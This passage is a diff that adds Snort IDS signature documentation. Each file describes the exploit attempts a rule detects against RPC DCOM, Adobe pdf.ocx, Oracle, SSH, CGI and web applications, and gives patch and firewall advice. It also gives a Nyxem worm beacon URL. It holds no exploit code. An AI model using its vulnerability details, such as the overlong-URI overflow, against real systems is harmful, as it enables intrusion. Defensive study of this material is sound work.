--- snort-2.7.0.orig/doc/signatures/2495.txt
+++ snort-2.7.0/doc/signatures/2495.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+Sid:
+2495
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in the Microsoft RPC service.
+
+--
+Impact:
+Denial of Service (DoS). Possible execution of arbitrary code leading to
+unauthorized remote access to the victim host.
+
+--
+Detailed Information:
+It may be possible for an attacker to cause a DoS condition in the
+Microsoft RPC service when multiple simultaneous requests are made to a
+vulnerable host. This can lead to an exhaustion of system resources
+causing the DoS.
+
+--
+Affected Systems:
+	Windows systems running RPC services
+
+--
+Attack Scenarios:
+An attacker may attempt to bind to the RPC service many times in an
+attempt to cause the DoS condition to occur.
+
+--
+Ease of Attack:
+Difficult.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+Apply the appropriate vendor supplied patches
+
+--
+Contributors:
+Sourcefire Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/100000101.txt
+++ snort-2.7.0/doc/signatures/100000101.txt
@@ -0,0 +1,75 @@
+Rule: 
+
+--
+Sid: 
+100000101
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a buffer overflow 
+vulnerability present in the Adobe Acrobat/Acrobat Reader ActiveX control, 
+pdf.ocx.
+
+-- 
+
+Impact: 
+By using properly crafted packets, attackers may execute arbitrary code of 
+their choosing with the privileges of the user running the affected software.
+
+--
+Detailed Information:
+This rule detects attempts to overflow the heap of the Adobe Acrobat/Acrobat 
+Reader ActiveX control, pdf.ocx. URI requests of 1,050 bytes or greater which 
+are received by this control will cause a buffer overflow and allow arbitrary 
+code execution with the privileges of the affected user. This rule is used in 
+conjunction with SID 100000100.
+
+--
+Affected Systems:
+Adobe Acrobat 5.0
+Adobe Acrobat 5.0.5
+Adobe Acrobat 6.0
+Adobe Acrobat 6.0.1
+Adobe Acrobat Reader 5.0
+Adobe Acrobat Reader 5.0.5
+Adobe Acrobat Reader 5.1
+Adobe Acrobat Reader 6.0
+Adobe Acrobat Reader 6.0.1
+
+--
+
+Attack Scenarios: 
+A web browser or automated script may be used to exploit this vulnerability.
+
+-- 
+
+Ease of Attack: 
+Simple, as simply typing a long URI into a web browser will suffice.
+
+-- 
+
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+-- 
+
+Corrective Action: 
+Upgrade to Adobe Acrobat/Acrobat Reader 6.0.2.
+An alternate workaround is available: disable "Display PDF in browser" under 
+Edit -> Preferences.
+
+--
+Contributors: 
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+
+-- 
+Additional References:
+http://www.adobe.com/support/downloads/thankyou.jsp?ftpID=2589&fileID=2433
+
+--
--- snort-2.7.0.orig/doc/signatures/3255.txt
+++ snort-2.7.0/doc/signatures/3255.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3255
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/3179.txt
+++ snort-2.7.0/doc/signatures/3179.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3179
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1665.txt
+++ snort-2.7.0/doc/signatures/1665.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1665
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1574.txt
+++ snort-2.7.0/doc/signatures/1574.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1574
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2738.txt
+++ snort-2.7.0/doc/signatures/2738.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2738
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure alter_priority_number
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1404.txt
+++ snort-2.7.0/doc/signatures/1404.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1404
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/100000450.txt
+++ snort-2.7.0/doc/signatures/100000450.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+100000450
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site 
+scripting vulnerability in the "VanillaSoft Helpdesk" application running on a 
+webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site 
+scripting vulnerability via the "username" parameter in the "default.asp" 
+script used by the "VanillaSoft Helpdesk" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to retrieve sensitive data, execute system binaries 
+or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using VanillaSoft Helpdesk
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a 
+user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.7.0.orig/doc/signatures/965.txt
+++ snort-2.7.0/doc/signatures/965.txt
@@ -0,0 +1,65 @@
+Rule:
+
+--
+Sid:
+965
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a web server running Microsoft FrontPage
+Server Extensions.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases. Denial of
+Service is possible.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running Microsoft FrontPage Server Extensions. Many known
+vulnerabilities exist for this platform and the attack scenarios are
+legion.
+
+--
+Affected Systems:
+	Systems using Microsoft FrontPage Server Extensions 98
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Many exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Microsoft:
+http://support.microsoft.com/default.aspx?scid=http://support.microsoft.com:80/support/kb/articles/Q188/2/57.ASP&NoWebContent=1&NoWebContent=1
+
+--
--- snort-2.7.0.orig/doc/signatures/880.txt
+++ snort-2.7.0/doc/signatures/880.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+880
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2744.txt
+++ snort-2.7.0/doc/signatures/2744.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2744
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure alter_site_priority
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1612.txt
+++ snort-2.7.0/doc/signatures/1612.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1612
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/3111.txt
+++ snort-2.7.0/doc/signatures/3111.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+3111
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft License Logging Service.
+
+-- 
+Impact: 
+Serious. Execution of arbitrary code leading to unauthorized
+administrative access to the target host. Denial of Service (DoS) is
+also possible.
+
+--
+Detailed Information:
+Microsoft License Logging Service is used to manage licenses for
+Microsoft server products.
+
+A vulnerability in the service exists due to a programming error such
+that an unchecked buffer may present an attacker with the opportunity to
+exploit the service and run code of their choosing on an affected
+system. The attacker may then cause a DoS condition in the service or
+possibly gain administrative access to the target host.
+
+The unchecked buffer exists when processing the length of messages sent
+to the logging service.
+
+--
+Affected Systems:
+	Microsoft Windows Server 2003
+	Microsoft Windows Server 2000
+	Microsoft Windows NT Server
+
+--
+Attack Scenarios: 
+An attacker can supply extra data in the message to the service
+containing code of their choosing to be run on the server.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+-- 
+
+Corrective Action: 
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors: 
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/997.txt
+++ snort-2.7.0/doc/signatures/997.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid: 997
+
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a potential weakness on a host running Microsoft Internet Information Server (IIS). 
+
+--
+Impact:
+Information gathering possible administrator access.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit potential weaknesses in a host running Microsoft IIS.
+
+The attacker may be trying to gain information on the IIS implementation on the host, this may be the prelude to an attack against that host using that information.
+
+The attacker may also be trying to gain administrator access to the host, garner information on users of the system or retrieve sensitive customer information.
+
+Some applications may store sensitive information such as database connections, user information, passwords and customer information in files accessible via a web interface. Care should be taken to ensure these files are not accessible to external sources.
+
+--
+Affected Systems:
+Any host using IIS.
+
+--
+Attack Scenarios:
+An attacker can retrieve a sensitive file containing information on the IIS implementation. The attacker might then gain administrator access to the site, deface the content or gain access to a database.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the IIS implementation on the host. Ensure all measures have been taken to deny access to sensitive files.
+
+Ensure that the IIS implementation is fully patched.
+
+Ensure that the underlying operating system is fully patched.
+
+Employ strategies to harden the IIS implementation and operating system.
+
+Check the host for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.7.0.orig/doc/signatures/100000226.txt
+++ snort-2.7.0/doc/signatures/100000226.txt
@@ -0,0 +1,66 @@
+Rule:
+
+--
+Sid:
+100000226
+
+--
+Summary:
+This event is generated when a host connected to the Internet is first infected 
+with the BlackWorm/Nyxem virus.
+
+--
+Impact:
+The system generating the alert has likely been infected with the 
+BlackWorm/Nyxem virus.
+
+--
+Detailed Information:
+When a system is first infected with the BlackWorm/Nyxem virus, the malicious 
+program attempts to access 
+http://207.172.16.155/cgi-bin/Count.cgi?df=76547 in order to report a 
+successful installation. Numerous sources, including the Sourcefire VRT, have 
+confirmed that this URL is static.
+
+--
+Affected Systems:
+All Windows systems.
+
+--
+Attack Scenarios:
+The virus may arrive by e-mail, in which case a user must execute the file in 
+order to be infected. Once infected, hosts conduct NetBIOS scans and attempt to 
+infect other hosts via publicly accessible shares; in this method, no user 
+interaction is required.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+Any user who directs a web browser to 
+http://207.172.16.155/cgi-bin/Count.cgi?df=76547 will trigger this rule.
+
+--
+False Negatives:
+Hosts without Internet access which become infected (i.e. by another infected 
+system on their local network) will not trigger this rule until they connect to 
+the Internet, as they will be unable toaccess this web page.
+
+--
+Corrective Action:
+Several antivirus vendors have detection and removal capabilities. 
+Additionally, Microsoft has detailed instructions for manual removal on their 
+web site.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Matthew Watchinski <mwatchinski@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1327.txt
+++ snort-2.7.0/doc/signatures/1327.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+1327
+
+--
+Summary:
+Secure Shell (SSH) is used to remotely manage systems over encrypted TCP
+sessions. This event is generated when an attempt is made to exploit 
+vulnerable versions of the SSH daemon.
+
+--
+Impact:
+System compromize presenting the attacker with root privileges. Denial 
+of Service (DoS) on certain network devices.
+
+--
+Detailed Information:
+A flaw in the CRC32 compensation attack detection code may result in 
+arbitrary code execution with the privileges of the user running the SSH
+daemon (usually root).
+
+Some Netscreen devices may suffer a Denial of Service.
+
+Affected Systems:
+	OpenSSH versions prior to 2.2
+	Multiple Cisco network devices
+	Multiple Netscreen network devices
+	SSH Secure Communications prior to 1.2.31
+
+--
+Attack Scenarios:
+The attacker would need to send specially crafted large SSH packets to 
+cause the overflow and present the opportunity to write values to memory
+locations.
+
+Exploit scripts are available
+
+--
+Ease of Attack:
+Simple. Exploits are available.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+CERT:
+http://www.kb.cert.org/vuls/id/945216
+
+Analysis by David Dittrich:
+http://staff.washington.edu/dittrich/misc/ssh-analysis.txt
+
+--
--- snort-2.7.0.orig/doc/signatures/2175.txt
+++ snort-2.7.0/doc/signatures/2175.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+2176
+
+
+--
+Summary:
+This event is generated when an attempt is made to access a system
+file via SMB. 
+
+--
+Impact:
+Serious. This file contains important operating system information.
+
+--
+Detailed Information:
+This event indicates that an attempt was made to access a file
+containing important operating system information using SMB across the
+network.
+
+--
+Affected Systems:
+Microsoft Windows systems.
+
+--
+Attack Scenarios:
+If this file is accessible via SMB the attacker can manipulate the
+operating system registry settings.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the host for signs of system compromise.
+
+Turn off file and print sharing on the target host.
+
+Use a packet filtering firewall to disallow SMB access to the host from
+sources external to the protected network.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+Microsoft Technet
+http://support.microsoft.com/support/kb/articles/q153/1/83.asp
+CVE
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-1999-0562
+Winreg
+http://www.rutherfurd.net/python/winreg/
+
+
+--
--- snort-2.7.0.orig/doc/signatures/100000503.txt
+++ snort-2.7.0/doc/signatures/100000503.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+100000503
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Nucleus CMS" application running on a webserver. 
+Access to the file "action.php" using a remote file being passed as the 
+"DIR_LIB" parameter may indicate that an exploitation attempt has been 
+attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "DIR_LIB" parameter in the "action.php" script used by 
+the "Nucleus CMS" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Nucleus CMS
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.7.0.orig/doc/signatures/100000440.txt
+++ snort-2.7.0/doc/signatures/100000440.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000440
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "CyBoards" application running on a webserver. Access to the file "common.php" using a remote file being passed as the "script_path" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "script_path" parameter in the "common.php" script used by the "CyBoards" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using CyBoards
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
